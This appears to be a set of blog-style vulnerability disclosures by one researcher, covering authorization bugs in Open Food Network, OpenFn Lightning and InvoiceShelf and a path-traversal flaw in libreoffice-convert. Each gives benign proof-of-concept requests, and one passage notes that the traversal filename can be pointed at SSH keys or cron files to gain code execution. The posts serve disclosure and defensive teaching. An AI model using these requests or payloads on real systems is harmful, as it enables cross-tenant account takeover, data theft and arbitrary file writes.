Open Food Network is the software behind food hubs, farmer co-ops and buying groups in dozens of countries — small producers selling directly to the people who eat their food. An "enterprise" in OFN is a shop. A customer account transaction is money: the running balance a shop keeps for a regular customer, the store credit, the amount owed.

So this is not an abstract data-leak. One shop could reach into another shop's books and change what a customer owed, then read the new balance to confirm it worked. In a network of small businesses that trust a shared platform to keep their ledgers straight, that is about as direct a violation as you can get.

It is also a very ordinary bug. That is the point of writing it up.

The setup

OFN is Ruby on Rails, built on Spree, using CanCanCan for authorization. CanCanCan lets you declare abilities two ways, and the difference between them is the whole story here.

You can grant an ability on a class:

can :create, CustomerAccountTransaction

That says "this user may create transactions." Any transaction.

Or you can grant it with a scope:

can :update, Customer, enterprise_id: Enterprise.managed_by(user).pluck(:id)

That says "this user may update customers, but only those belonging to enterprises they manage." CanCanCan will enforce the condition when you authorize an actual record.

Both forms are one line. They look almost identical in a diff. They are not remotely the same.

The bug

Here is the ability grant, at app/models/spree/ability.rb:488-490:

def add_customer_account_transaction_abilities(_user)
  can [:admin, :create, :index], CustomerAccountTransaction
end

Look at the parameter: _user. The leading underscore is Ruby's convention for "I am deliberately ignoring this argument." The method receives the user and does nothing with it. The grant is class-wide, handed to anyone who satisfies can_manage_enterprises? — that is, anyone who manages at least one enterprise anywhere on the platform.

Then the controller, app/controllers/api/v1/customer_account_transaction_controller.rb:

def create
  authorize! :create, CustomerAccountTransaction   # <-- the CLASS, not the record
  ...
  transaction = CustomerAccountTransaction.new(customer_account_transaction_params)
end

def customer_account_transaction_params
  params.require(:customer_account_transaction).permit(:customer_id, :amount, :description)
end

authorize! is passed the class. It answers "may this user create transactions in general?" — yes — and never looks at which customer. The customer_id arrives in the request body and is used as-is.

The model then does the damage on the way in:

# app/models/customer_account_transaction.rb
before_create :update_balance

and the serializer hands the result back:

# app/serializers/api/v1/customer_account_transaction_serializer.rb
attributes :amount, :balance

So the write lands, the running balance is recomputed, and the new balance is returned in the response. Integrity impact and confidentiality impact in a single request.

The "aha"

Two things make this worth more than a shrug.

First, the guarded sibling. The parent object was scoped correctly all along, at ability.rb:434-435:

can [:admin, :index, :update, :destroy, :show], Customer,
    enterprise_id: Enterprise.managed_by(user).pluck(:id)

And CustomersController backs it with a per-object check plus Customer.visible.managed_by(current_api_user). Somebody thought carefully about customer isolation and implemented it properly.

They just did it on Customer and not on the transactions hanging off Customer. That asymmetry is the strongest evidence a finding is a genuine oversight rather than a design decision — when one sibling is guarded and the other isn't, nobody chose the gap. Whenever I audit an authorization model, the scoped resources are the map: the interesting question is always which of their children didn't inherit the scoping.

Second, and this one I did not expect: the bug got easier to reach over time. From the advisory:

For Version < 5.7.1 the v1 API needs to be enabled (api_v1 feature flag; off by default). In version 5.7.1 the api_v1 feature flag was removed. For >= 5.7.1 there is no precondition.

When I reported this, the /api/v1 surface sat behind a feature toggle that was off by default, which is a real mitigating factor — an admin had to switch it on per instance. Then 5.7.1 graduated the v1 API and deleted the flag. Perfectly reasonable release engineering. It also silently promoted a gated vulnerability into an ungated one on every upgraded instance, and nobody re-examined the endpoints behind the flag when the flag came down.

Removing a feature flag is a change in attack surface. It rarely gets reviewed like one.

Proof of concept (benign)

Two enterprises, A and B. Each has a manager and a customer. Authenticate as A's manager and post a transaction against B's customer:

curl -s -X POST http://localhost:3000/api/v1/customer_account_transaction \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $MANAGER_A_TOKEN" \
  -d '{"customer_account_transaction":
        {"customer_id": 2, "amount": 1.00, "description": "marker"}}'

HTTP/1.1 201 Created
{ "data": { "attributes": { "amount": "1.0", "balance": "1.0" } } }

Customer 2 belongs to Enterprise B. The manager authenticating here manages only Enterprise A. The 201 is the write; the balance in the response is the read.

The amount is 1.00 and the description is marker for a reason — the goal is to demonstrate the boundary is crossed, not to move money around. A one-cent marker proves the same thing a large transfer would.

The fix

The maintainers shipped PR #14508 and asked me to review it, which I think is the right instinct and does not happen as often as it should. The change is four lines:

def create
  authorize! :create, CustomerAccountTransaction

  customer = Customer.find(customer_account_transaction_params[:customer_id])
  authorize! :update, customer          # <-- per-record check on the resolved object
  ...

The class-level check stays, which is fine — it is harmless on its own. What matters is the second authorize!, which resolves the customer from the body-supplied id and then authorizes that record. Because Customer already carries the enterprise_id scope shown earlier, CanCanCan now refuses the cross-enterprise case for free. The fix reuses the isolation that was already there.

I rebuilt the PR branch locally and re-ran my PoC against it: the cross-enterprise request that previously returned 201 now returns 401, and the target customer's balance stays 0. Same-enterprise transactions still succeed, so the fix isn't over-broad. Verdict: NOT_REPRODUCED on the patched branch.

Shipped in 5.7.4.

Takeaways

Authorize the record, not the class. authorize! :create, Model and authorize! :update, record look like the same defensive habit and defend against completely different things. If a request body contains an id, something must authorize the object that id resolves to.
Hunt the children of guarded parents. When you find a properly scoped resource, the vulnerability is usually one relationship away — in the child records that inherit the parent's data but not the parent's authorization. The asymmetry is the tell.
Treat feature-flag removal as an attack-surface change. Code behind a default-off flag receives less scrutiny, and that debt comes due the moment the flag disappears. When you graduate a surface, re-audit it as if it were new — because for most of your users, it is.
An underscore parameter is worth a second look. def add_..._abilities(_user) is a small, honest signal that a grant ignores the user. In an authorization file, that is worth grepping for.

Disclosure timeline

2026-06 — Found via source review of the CanCanCan ability model, confirmed against v5.7.0, and reported privately through GitHub's private vulnerability reporting.
2026-07-07 — Maintainer opened fix PR #14508 and requested review. Rebuilt the branch and re-ran the PoC: cross-enterprise request now 401, balance unchanged, same-enterprise control still 201.
5.7.4 — Fix released.
2026-07-28 — Advisory GHSA-7cqp-qvh5-7x85 published by the OFN team, High 7.1, credited to me as reporter. CVE pending.

Credit where it is due: OFN triaged, fixed, and published this without any chasing, and looped me into reviewing the patch. That is what a healthy disclosure looks like.

Credit / CTA

If you run Open Food Network, upgrade to 5.7.4+. If you are on 5.7.1 through 5.7.3, note there is no workaround — the feature flag that used to gate this is gone.

If you write Rails and CanCanCan: grep your ability file for can :action, Model with no conditions hash, then check whether the controller authorizes a record or just the class. That pairing is where these live.

Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: @Santoshkumarpuppala

The guard checked the URL, not the record it returned (OpenFn Lightning, GHSA-vf9q-phg3-hqj6)

Santosh Kumar Puppala — Wed, 05 Aug 2026 03:34:51 +0000

TL;DR

What: A cross-project authorization bug in OpenFn Lightning — a viewer-role member of one project could read the full run detail (streamed logs, workflow name, step list, run creator's email) of a run belonging to any other project in the same instance.
Impact: Lightning is deployed by NGOs and governments to orchestrate sensitive pipelines (DHIS2 health records, humanitarian beneficiary data, civil registration). Those run logs carry real PII, so a low-privilege cross-project read is a serious confidentiality breach. OpenFn rated the advisory Critical.
Fixed in: v2.17.0 (2026-07-23). Advisory GHSA-vf9q-phg3-hqj6 (CVE requested/pending). Found through coordinated disclosure — I'm credited as a finder on the advisory alongside @lukegranto23.

Why you should care

Almost every multi-tenant app has this exact shape somewhere: a URL that carries two identifiers — one that scopes "who are you allowed to look at" and one that names "the thing you want" — and an authorization check that only looks at the first one.

It reads as safe in review because there is a check, right there at the top of the request. The trap is that the check validates the wrong noun. It confirms you belong to the project named in the path, then goes and fetches a record by a different id entirely, with no filter tying that record back to the project it just validated you against. The gate is real. It's just guarding a door that isn't the one the data walks through.

Lightning had the correct, scoped query already written and in use elsewhere in the same file. This one read path just didn't call it.

The setup

Lightning is an Elixir/Phoenix workflow-automation platform. Work is organized into projects; a project has members with roles (viewer, editor, admin). When a workflow executes it produces a run — with a step list, timing, exit codes, a streamed execution log, and the email of whoever kicked it off. You view a run at a route shaped like:

GET /projects/<project_id>/runs/<run_id>

Two identifiers in one URL. project_id is what the membership check keys off. run_id is a UUID that names the run you want to stream. Hold onto that distinction — the whole bug lives in the gap between them.

The bug (source → sink)

1. The route guard checks the URL project — and only that. The :project_scope hook (lib/lightning_web/hooks.ex) loads the project named in the path and confirms you're a member:

defp handle_project_scope(socket, params) do
  project_id = params["project_id"]
  project    = Projects.get_project(project_id)
  can?       = Permissions.can?(ProjectUsers, :access_project, current_user, project)
  # Checks: is current_user a member of the project_id from the URL?
  # Does NOT check: does the run at params["id"] belong to this project?
end

The membership check is role-agnostic — a :viewer passes just fine:

def can?(_actor, :access_project, user, project) do
  Projects.member_of?(project, user)   # user_id + project_id; any role passes
end

2. The run is then fetched by bare UUID, with no project filter. The streaming LiveView (lib/lightning_web/live/run_live/streaming.ex) calls Runs.get/2, which resolves to:

defp get_query(id, preloads) do
  from(r in Run,
    where: r.id == ^id,      # <-- the whole WHERE clause
    preload: ^preloads
  )
end

There is no where: ... and project_id == ^project_id. Any valid run UUID comes back regardless of which project owns it.

3. The URL project is then quietly overwritten by the run's own project. After the async fetch resolves:

def handle_async(:run, {:ok, updated_run}, socket) do
  socket =
    socket
    |> assign(:run, updated_run)
    |> assign(:project, updated_run.workflow.project)  # now Project A, not the URL's project
  ...
end

So the page finishes rendering in the foreign project's context — and streams its log lines straight to the browser over the LiveView socket:

push_event(socket, "logs-#{run.id}", %{logs: log_lines})

The "aha"

The check proved you belong to the project you named in the URL — and then handed you a run from a project you didn't.

Proof of concept (benign)

Two accounts on a build of the shipped tag, roles kept deliberately minimal:

Account A owns Project A, which has a run. I seeded one log line with a harmless marker: PROJECT-A-PII-LEAK-MARKER beneficiary=John_Doe nid=12345.
Account B is a viewer of a different project (Project C) and has no membership in Project A.

Account B requests its own project in the path, and Project A's run UUID as the record:

GET /projects/<Project_C_id>/runs/<Project_A_run_uuid>   ->  HTTP 200, RunLive mounts

The response carried Project A's workflow name, work-order id, the run creator's email (account_a@local.test), the step list, and the streamed log lines — including the planted marker. No admin role, no membership in Project A.

The control confirms the check does work — on the wrong noun:

GET /projects/<Project_A_id>/runs/<Project_A_run_uuid>   ->  302 redirect

Naming Project A in the path (which B isn't a member of) is correctly refused. The disclosure works because B substitutes a project it legitimately belongs to, while the run belongs to another. A request for a non-existent run UUID under B's own project returns an error — so the leak is specific to a valid foreign run id, not a generic error oracle.

The fix

Lightning already had the correctly-scoped query — the cancel path used it. Runs.get_for_project/2 joins work-order → workflow and filters on the project:

def get_for_project(run_id, project_id) do
  from(r in Run,
    join: wo in assoc(r, :work_order),
    join: wf in assoc(wo, :workflow),
    where: r.id == ^run_id and wf.project_id == ^project_id   # <-- the missing filter
  )
  |> Repo.one()
end

The fix (shipped in v2.17.0) is to fetch the run through that project-scoped query on the view/stream path too, so a run only resolves inside the project the user was actually validated against — and to apply the same scoping to the sibling call site in run_viewer_live.ex, which shared the exact unscoped fetch.

Takeaways

Authorize the object you return, not the identifier you were handed. A membership check on a URL parameter proves nothing about a record fetched by a different parameter. Scope the query that produces the data.
A guarded sibling is a spec you already wrote. When one path fetches with a project_id join and a neighboring path fetches by bare id, that asymmetry isn't style — it's a missing check. Grep for the scoped helper and find every caller that skipped it.
"There is a check" is not "the check covers this." Read-path authorization gaps hide behind real, working guards that validate the wrong thing. Trace the data from the sink back to the boundary, not from the guard forward.

Disclosure timeline

2026-06-16 — Reported to OpenFn via coordinated disclosure; local PoC confirmed against shipped tag v2.16.7.
2026-07-23 — Fixed in v2.17.0; advisory GHSA-vf9q-phg3-hqj6 published. OpenFn confirmed all supported instances were patched.
CVE: requested / pending at time of writing.

Credit / CTA

Found and reported under coordinated disclosure by Santosh Kumar Puppala and @lukegranto23 — both credited as finders on the advisory; OpenFn addressed it in v2.17.0. (The advisory covers the same missing-scope pattern across many surfaces in the product; this post walks one representative read path.) If you run a multi-tenant app, the one-hour version of this post is: search your read paths for a resource fetched by bare id right after a scope check on a different id — that's where this class lives.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

How one Owner could take over any account in another company — cross-tenant IDOR in InvoiceShelf (CVE-2026-55610)

Santosh Kumar Puppala — Wed, 05 Aug 2026 03:04:18 +0000

TL;DR

InvoiceShelf (self-hosted, multi-company invoicing) let any company Owner read and overwrite any user in any other company on the same installation.
GET/PUT /api/v1/users/{id} resolved the user by global primary key, and the policy only checked that you own your header-company — never that the target belonged to it. Result: cross-tenant account takeover (overwrite email + password, and re-assign the victim into your company as super-admin).
High, CVSS 8.7 (CWE-639). Fixed in 2.4.1. I reported it and am credited as Reporter — CVE-2026-55610.

Why you should care

Multi-tenant apps live or die on one invariant: tenant A can never touch tenant B's data. InvoiceShelf enforced that on the delete path but quietly forgot it on read and update of users — the highest-value object in the app. That one asymmetry turned "manage my company's users" into "manage everyone's."

The setup

InvoiceShelf is a Laravel app where each request carries a company header, and a middleware pins that header to one of the requester's companies. Users are managed through a standard resource route.

The bug (source → sink)

The route uses implicit route-model binding — Laravel resolves {user} straight from the global users table by primary key:

// routes/api.php
Route::apiResource('/users', UsersController::class); // auth:sanctum + company + bouncer

// UsersController.php
public function show(User $user) { ... }                     // $user bound by GLOBAL primary key
public function update(UserRequest $r, User $user) { ... }

Authorization is delegated to UserPolicy, which leans on isOwner():

// UserPolicy.php
public function view(User $me, User $target)   { if ($me->isOwner()) return true; /* ... */ }
public function update(User $me, User $target) { if ($me->isOwner()) return true; /* ... */ }

// User.php
public function isOwner() {
    return Company::find(request()->header('company'))->owner_id === $this->id;
}

isOwner() only asks "is the requester the owner of the company in their own header?" — it never checks that $target belongs to that company. So an Owner of Company A sails through the check for a user who lives entirely in Company B.

The "aha"

The check verified who you are, never who the target is — so isOwner() was a global skeleton key, not a tenant boundary.

Proof of concept (benign)

Company A (owner: alice), Company B (owner: bob); carol (id 7) belongs to Company B only.

# as alice, header  company: A
GET  /api/v1/users/7                                        -> 200, returns carol (Company B)
PUT  /api/v1/users/7  { email, password,
                        companies: [{ id: A, role: "super admin" }] }   -> 200
# carol's email + password overwritten; carol re-synced into Company A as super-admin

# control: a non-owner member of A
GET  /api/v1/users/7                                        -> 403
# the route IS access-controlled; the bug is specifically the missing target-company check for owners

The fix

Version 2.4.1 scopes the check to the requester's company — exactly the way the delete() path already did (its code even carried the comment "so a user from one company cannot delete accounts belonging to another"). After the owner check, verify the target belongs to the active company ($target->hasCompany($company) / User::whereCompany(...)), or constrain the route-model binding to the active company.

Takeaways

Read and write paths need the same tenant scoping. A guard on delete means nothing if view/update skip it — attackers just pick the unguarded verb.
Implicit route-model binding by global PK is a footgun in multi-tenant apps. Bind within the tenant scope, or you've shipped a global object lookup.
"Am I an owner?" is not "am I allowed to touch this object?" Authorize the object, not just the role.

Disclosure timeline

2026-06-13 — reported privately via GitHub private vulnerability reporting.
Fixed in 2.4.1; advisory GHSA-vgx6-6cqr-m8qr published; CVE-2026-55610 assigned; credited as Reporter.

Advisory: GHSA-vgx6-6cqr-m8qr / CVE-2026-55610 (High, 8.7). Thanks to the maintainer for the quick fix.

Your turn: how do you keep read and write authorization in sync across a multi-tenant app — shared policy helpers, a global tenant scope, tests that assert 403 across tenants? Curious what's worked for you.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: @Santoshkumarpuppala.

One unchecked filename let a popular npm document converter write to any path on disk (CVE-2026-54732)

Santosh Kumar Puppala — Sun, 02 Aug 2026 15:24:41 +0000

TL;DR

libreoffice-convert, a widely used npm wrapper around LibreOffice, built the output path from a caller-supplied fileName and never reduced it to a base name.
A fileName containing ../ escaped the temp directory, so a caller could write arbitrary content to any path the process could write to — ~/.ssh/authorized_keys, an /etc/cron.d entry, a web root. Arbitrary file write, one short hop from RCE.
Fixed in 1.8.2 (adds path.basename). Assigned CVE-2026-54732 (Moderate, 6.5). I reported it and am credited as Reporter.

Why you should care

libreoffice-convert is a small, popular building block: apps call it to turn a DOCX/HTML/ODT buffer into a PDF. It's exactly the kind of dependency that quietly sits behind an "upload and convert" feature. And in document pipelines, the filename is very often influenced by user input — so this turns an innocent "convert my file" into "write a file wherever you want."

The setup

The API looks harmless — you hand it a buffer and a target format:

const libre = require('libreoffice-convert');
// convert a buffer to PDF, with a caller-provided output fileName
libre.convertWithOptions(inputBuffer, '.pdf', undefined, { fileName });

Internally, the converted document is written into a temporary directory, using that fileName.

The bug

Simplified, the vulnerable path looked like this:

const outPath = path.join(tempDir.name, fileName); // fileName is caller-controlled
fs.writeFile(outPath, documentBuffer, ...);         // written verbatim

fileName is never reduced to a base name before it's joined. And path.join is not a sandbox — it happily resolves .. segments:

path.join('/tmp/abc123', '../../../../home/app/.ssh/authorized_keys')
// => '/home/app/.ssh/authorized_keys'

So the write lands wherever the traversal points.
libreoffice-convert -> Filesystem, escapes tmpDir into an arbitrary file write, fixed by path.basename in v1.8.2" width="800" height="476">

The "aha"

The library treated fileName as a name, but path.join treats it as a path — and nobody called path.basename() in between.

Proof of concept (benign)

A marker file, not a weapon — just enough to prove the write escapes the temp dir:

libre.convertWithOptions(buf, '.pdf', undefined, {
  fileName: '../../../../tmp/pwned-by-poc.pdf'
});
// -> writes to /tmp/pwned-by-poc.pdf, outside the intended temp directory

Repoint that fileName at ~/.ssh/authorized_keys, an /etc/cron.d/* file, or a script inside a web root, and "arbitrary file write" becomes "arbitrary code execution."

The fix

Version 1.8.2 wraps the value in path.basename(fileName), which strips any directory components so the write can't leave the temp directory. One line.

If you use this package: upgrade to >= 1.8.2. If you're pinned for now, call path.basename() on any filename you pass in — and never forward a user-supplied filename unvalidated.

Takeaways

Any time you build a filesystem path from a caller-supplied string, path.basename() it. path.join cleans .., it doesn't contain it.
"It's just a filename" is a trap. In upload/convert/document pipelines, the filename is routinely attacker-influenced.
Write-path bugs are quieter than read-path ones and often worse: arbitrary write is a short hop to RCE via SSH keys, cron, or a web root.

Disclosure timeline

2026-06-09 — reported privately to the maintainer (and via Snyk), coordinated disclosure.
2026-07-04 — fix released in 1.8.2 (path.basename); advisory published.
CVE-2026-54732 assigned; credited as Reporter.

Advisory: GHSA-gmxc-r82q-347r / CVE-2026-54732. Thanks to the maintainer for the fast, clean fix.

Your turn: do you have a hard rule for user-supplied filenames in your services, or is it case-by-case in review? What's caught this for you — lint, a wrapper, a code-review checklist? Curious what people use.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: @Santoshkumarpuppala.